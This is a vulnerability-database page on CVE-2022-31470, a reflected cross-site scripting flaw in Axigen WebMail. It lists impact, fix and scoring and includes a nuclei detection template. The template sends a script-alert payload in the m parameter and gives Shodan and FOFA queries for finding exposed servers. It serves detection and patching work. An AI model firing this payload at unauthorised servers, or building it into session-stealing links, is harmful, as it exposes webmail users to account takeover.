HexBrain

Browse / CVEs / CVE-2022-31470

CVE-2022-31470· axigen / webmail· CWE-79

Axigen WebMail - Cross-Site Scripting

mediumseverity
6.1CVSS score
52.7%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Axigen WebMail versions 10.5.0-4370c946 and older are vulnerable to reflected XSS via the m parameter in the /index.hsp endpoint.

Impact

Attackers can craft malicious URLs with JavaScript in the m parameter that executes when users access the link, potentially stealing session cookies, credentials, or performing unauthorized actions in the victim's Axigen WebMail account.

Fix

Update Axigen WebMail to a version later than 10.5.0-4370c946 that properly sanitizes and encodes the m parameter.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains "Axigen WebMail" or "AXI-SCRIPT" or "axigen-web-fonts" or "AXIWMRememberLogin"
Send: GET {{BaseURL}}/index.hsp?m=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "<script>alert(document.domain)</script>" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-31470 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2022-31470

info:
  name: Axigen WebMail - Cross-Site Scripting
  author: AmirZargham
  severity: medium
  description: |
    Axigen WebMail versions 10.5.0-4370c946 and older are vulnerable to reflected XSS via the m parameter in the /index.hsp endpoint.
  impact: |
    Attackers can craft malicious URLs with JavaScript in the m parameter that executes when users access the link, potentially stealing session cookies, credentials, or performing unauthorized actions in the victim's Axigen WebMail account.
  remediation: |
    Update Axigen WebMail to a version later than 10.5.0-4370c946 that properly sanitizes and encodes the m parameter.
  reference:
    - https://www.axigen.com/
    - https://www.exploit-db.com/exploits/51722
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31470
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-31470
    cwe-id: CWE-79
    epss-score: 0.52721
    epss-percentile: 0.98979
    cpe: cpe:2.3:a:axigen:webmail:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: axigen
    product: webmail
    shodan-query: title:"Axigen"
    fofa-query: title="Axigen"
  tags: cve,cve2022,axigen,webmail,xss,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: body
        words:
          - "Axigen WebMail"
          - 'AXI-SCRIPT'
          - 'axigen-web-fonts'
          - 'AXIWMRememberLogin'
        internal: true
        case-insensitive: true

  - method: GET
    path:
      - "{{BaseURL}}/index.hsp?m=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from